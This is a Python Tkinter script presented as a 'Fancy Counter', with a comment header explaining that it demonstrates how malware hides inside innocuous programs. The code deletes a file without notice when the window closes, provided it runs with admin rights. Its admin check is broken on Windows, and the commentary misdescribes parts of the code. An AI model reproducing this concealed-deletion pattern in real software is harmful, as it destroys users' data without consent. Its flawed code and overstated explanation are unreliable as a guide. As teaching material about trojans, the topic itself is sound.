Excuse Me, Do You Have A Minute?

#   This Python script initially presents itself as a harmless "Fancy Counter" application using Tkinter for a graphical interface. However, beneath its seemingly benign exterior, it harbors elements that can be exploited for malicious purposes, highlighting how easily malware can be concealed within seemingly innocuous programs.

#   The code prompts the user for an initiation password through a simple dialog, and the hardcoded password is 'your_initiation_password.' This simplistic approach makes it vulnerable to unauthorized access, as the password is easily discoverable. Once initiated, the script starts counting and displaying a "fancy representation" on the GUI.

#   However, the more alarming aspect lies in its admin-level capabilities. Under the guise of an innocent counter, it includes a method, `execute_admin_deletion`, which can delete a specified file ("file_to_delete.txt"). This functionality could be exploited to wipe crucial system files or data without the user's consent.

#   Moreover, the script checks if it is running with administrative privileges using the `is_admin` method. If the script detects it has such privileges, it proceeds with the potentially harmful file deletion without further authentication.

#   In essence, this script serves as a stark example of how seemingly harmless programs can conceal malicious functionalities. The hardcoded password and the ability to perform destructive actions demonstrate the ease with which malware can be introduced into unsuspecting systems. Developers and users must exercise caution and implement robust security practices to prevent the inadvertent distribution or use of such potentially harmful code.

import tkinter as tk
from tkinter import simpledialog, messagebox
import time
import os

class FancyCounter:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title('Fancy Counter')
        self.label = tk.Label(self.root, text='', font=('Arial', 24))
        self.label.pack()
        self.count = 1
        self.running = True
        self.password_initiated = False

    def run(self):
        self.initiate_password()
        if not self.password_initiated:
            self.root.destroy()
            return

        self.root.after(0, self.update_counter)
        self.root.protocol("WM_DELETE_WINDOW", self.on_close)
        self.root.mainloop()

    def initiate_password(self):
        # Add your password initiation logic here
        # For simplicity, let's use a simple dialog for password input
        password = simpledialog.askstring('Password Initiation', 'Enter the initiation password:')
        # Replace 'your_initiation_password' with the actual password
        correct_password = 'your_initiation_password'
        self.password_initiated = password == correct_password

    def update_counter(self):
        self.label.config(text=self.generate_fancy_representation(self.count))
        self.count += 1
        if self.count <= 1000000000 and self.running:
            time.sleep(1)
            self.root.after(0, self.update_counter)
        else:
            self.stop_application()

    def generate_fancy_representation(self, num):
        return f'Fancy Representation of {num}'

    def stop_application(self):
        if self.confirm_reset():
            self.count = 1
            self.running = True
            self.root.after(0, self.update_counter)

    def confirm_reset(self):
        response = messagebox.askokcancel('Confirm Reset', 'Do you want to reset the counter?')
        return response

    def execute_admin_deletion(self):
        if self.is_admin():
            # Replace 'file_to_delete.txt' with the actual file or directory you want to delete
            file_path = 'file_to_delete.txt'
            try:
                os.remove(file_path)
                messagebox.showinfo('Admin Deletion', f'{file_path} deleted successfully.')
            except Exception as e:
                messagebox.showwarning('Admin Deletion', f'Error deleting {file_path}: {e}')

    def is_admin(self):
        # Check if the script is running with administrative privileges
        return os.getuid() == 0 if os.name == 'posix' else os.name == 'nt' and os.getpid() == 0

    def on_close(self):
        # Custom close event handling
        if not self.password_initiated:
            self.root.destroy()
        else:
            self.execute_admin_deletion()
            self.root.destroy()

if __name__ == "__main__":
    fancy_counter = FancyCounter()
    fancy_counter.run()